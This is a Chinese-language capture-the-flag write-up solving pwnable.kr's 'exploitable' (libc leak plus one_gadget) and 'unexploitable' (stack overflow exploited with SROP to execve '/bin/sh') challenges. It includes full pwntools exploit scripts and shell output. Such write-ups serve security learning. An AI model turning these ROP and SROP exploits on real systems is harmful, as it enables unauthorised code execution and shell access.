exploitable
description
I think this is exploitable bug. you don't agree?!
ssh exploitable@pwnable.kr -p2222 (pw:guest)
checksec
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
32 位的程序,没有开pie
代码如下
int __cdecl main(int argc, const char **argv, const char **envp)
{
void (__cdecl *v4)(unsigned int); // [esp+8h] [ebp-10h]
unsigned int v5; // [esp+Ch] [ebp-Ch]
v5 = __readgsdword(0x14u);
leak_memory(1, &_bss_start, 4u, 0xCAFEBABE, 0xDEADBEEF, 1, 3, 3, 7);
__isoc99_scanf((const char *)&unk_8048630, &v4);
v4(0xDEADBEEF);
return __readgsdword(0x14u) ^ v5;
}
❯ ./exploitable ⏎
`}m�aaaaaaaa
[1] 20632 segmentation fault (core dumped) ./exploitable
首先会将 _bss_start 也就是 IO_STDOUT 的地址打印出来
0x804a024 <stdout@@GLIBC_2.0>: 0x00000000f7fabd60 0x0000000000000000
0x804a034: 0x0000000000000000 0x0000000000000000
0x804a044: 0x0000000000000000 0x0000000000000000
0x804a054: 0x0000000000000000 0x0000000000000000
0x804a064: 0x0000000000000000 0x0000000000000000
嘛,不管是什么,总之这个是libc里面的地址,有了这个就可以泄露出libc的地址了
leak_memory 之后程序要求一个数字,数字输入之后直接将这个数字 v4 作为函数来进行调用
没有想到什么好办法,又不能写shellcode,所以这里就直接找题目的libc的one_gadget 的偏移,然后传入地址即可
不过需要注意这里v4 是无符号数,需要进行一下转换,调试看看就清楚了
服务器上有 pwntools, 所以这里就直接在服务器上进行测试了,效果如下
exploitable@ubuntu:~$ cat readme
the "exploitable" binary will be executed under exploitable_pwn privilege if you connect to port 9018.
execute the binary by connecting to daemon(nc 0 9018) then pwn it, then get flag.
exploitable@ubuntu:~$ python
Python 2.7.12 (default, Jul 1 2016, 15:12:24)
[GCC 5.4.0 20160609] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> from pwn import *
>>> def exp(offset):
... p=remote('127.0.0.1',9018)
... leak=u32(p.recv())
... libc_base=leak-0x1afd60
... one_gadget=libc_base+0x3a7ec
... p.info(hex(libc_base))
... p.sendline(str(-(0xffffffff+1-one_gadget)))
... p.interactive()
...
>>> exp(1)
[x] Opening connection to 127.0.0.1 on port 9018
[x] Opening connection to 127.0.0.1 on port 9018: Trying 127.0.0.1
[+] Opening connection to 127.0.0.1 on port 9018: Done
[*] 0xf7548000
[*] Switching to interactive mode
ls
exploitable
exploitable.c
flag
intended_solution.txt
log
super.pl
cat flag
okay, 搞定了 exploitable, 看到还有一道unexploitable, 继续搞搞
unexploitable
description
I don't think this is exploitable bug. do you agree?
(task is patched. unintended easy solutions will not work from now :P)
ssh unexploitable@pwnable.kr -p2222 (pw:guest)
checksec 看一下
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
64 位的程序,没有 canary, 没开 PIE
ida 打开看看
.text:0000000000400544 ; __unwind {
.text:0000000000400544 push rbp
.text:0000000000400545 mov rbp, rsp
.text:0000000000400548 sub rsp, 10h #only 0x10
.text:000000000040054C mov edi, 3 ; seconds
.text:0000000000400551 mov eax, 0
.text:0000000000400556 call _sleep
.text:000000000040055B lea rax, [rbp+buf]
.text:000000000040055F mov edx, 50Fh ; nbytes i can read 0x50 byte, overflow it
.text:0000000000400564 mov rsi, rax ; buf
.text:0000000000400567 mov edi, 0 ; fd
.text:000000000040056C mov eax, 0
.text:0000000000400571 call _read
.text:0000000000400576 leave
.text:0000000000400577 retn
程序逻辑很简单,进来先 sleep 3s,然后 read 0x50f 个 byte, buf 的大小为0x10, 所以直接就是一个heap overflow
这样就可以rop 来控制程序的执行流了
❯ readelf -r unexploitable
重定位节 '.rela.dyn' 位于偏移量 0x3a0 含有 1 个条目:
偏移量 信息 类型 符号值 符号名称 + 加数
000000600fe0 000300000006 R_X86_64_GLOB_DAT 0000000000000000 __gmon_start__ + 0
重定位节 '.rela.plt' 位于偏移量 0x3b8 含有 3 个条目:
偏移量 信息 类型 符号值 符号名称 + 加数
000000601000 000100000007 R_X86_64_JUMP_SLO 0000000000000000 read@GLIBC_2.2.5 + 0
000000601008 000200000007 R_X86_64_JUMP_SLO 0000000000000000 __libc_start_main@GLIBC_2.2.5 + 0
000000601010 000400000007 R_X86_64_JUMP_SLO 0000000000000000 sleep@GLIBC_2.2.5 + 0
但是程序很简单, 只有一个 read以及 sleep 函数,要调用system, execve 函数什么的我至少要有一个leak吧
这里完全没有输出的函数,所以没有 leak
可以想到的就几个方法
1 dlresolve 但是这个程序是 64 位,仍需要leak link_map
2 搞shellcode 开了 NX,又没有 mmap,mprotect 等函数,有点难搞
3 srop ?? srop 貌似可以的样子,不过需要有一个 signature 系统调用
找一下有没有可用gadget 先
❯ ropper --file ./unexploitable |grep syscall
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
0x0000000000000560: syscall;
❯ objdump -M intel -d unexploitable |grep '0f 05' -3
400551: b8 00 00 00 00 mov eax,0x0
400556: e8 f5 fe ff ff call 400450 <sleep@plt>
40055b: 48 8d 45 f0 lea rax,[rbp-0x10]
40055f: ba 0f 05 00 00 mov edx,0x50f
400564: 48 89 c6 mov rsi,rax
400567: bf 00 00 00 00 mov edi,0x0
40056c: b8 00 00 00 00 mov eax,0x0
居然真有 syscall, 不过这个syscall 是在字节码 0f 05 在 mov edx,0x50f 形成的,
很好,有了syscall 就可以搞很多事情了事情了
首先是 系统调用表
http://blog.rchapman.org/posts/Linux_System_Call_Table_for_x86_64/
有两个思路
1 使用 15 号系统调用 sys_rt_sigreturn 来构造srop
2 直接 read 读入一个 /bin/sh 然后 调用 execve 来getshell
主要就是寄存器的控制,rax可以通过sleep 函数或者 read 函数的返回值来进行设置,这里就需要用到通用gadget了,可以看一下
一步一步学ROP之linux_x64篇 - 蒸米
嘛,这里方便起见就直接使用srop了
利用思路如下
1 溢出设置 rsi ret 返回调用read 函数读入 0xf 个字符到 bss,("/bin/sh\x00".ljust(8,"\x00")
2 0xf 为 sys_rt_sigreturn 将对应的寄存器设置为sys_execve 需要的参数,然后就可以直接调用 execve("/bin/sh\x00",0,0) 了
exp 如下
#!/usr/bin/env python
#coding:utf-8
from pwn import *
import time
p=process("./unexploitable")
def exp():
#rsi gadget
#0x00000000004005fb: mov esi, dword ptr [rsp + 0x28]; mov r15, qword ptr [rsp + 0x30]; add rsp, 0x38; ret;
set_rsi=0x00000000004005fb
#bss_addr+0x40
bin_sh_addr=0x000000000601028+0x40
read_plt=0x000000000400430
syscall_addr=0x0000000000400560
context.arch='amd64'
frame = SigreturnFrame(kernel="amd64")
# execve("/bin/sh\x00",0,0);
frame.rdi=bin_sh_addr
frame.rsi=0
frame.rdx=0
frame.rip=syscall_addr
frame.rax=constants.SYS_execve
payload=''
payload+='a'*8*3
payload+=p64(set_rsi)
payload+=p64(bin_sh_addr)*(0x38/8)
payload+=p64(read_plt)
time.sleep(3)
payload+=p64(syscall_addr)
payload+=str(frame)
p.sendline(payload)
time.sleep(0.1)
# gdb.attach(p,"b *0x0000000000400560")
p.send("/bin/sh\x00".ljust(0xf,"\x00"))
p.interactive()
exp()
[培训]内核驱动高级班,冲击BAT一流互联网大厂工
作,每周日13:00-18:00直播授课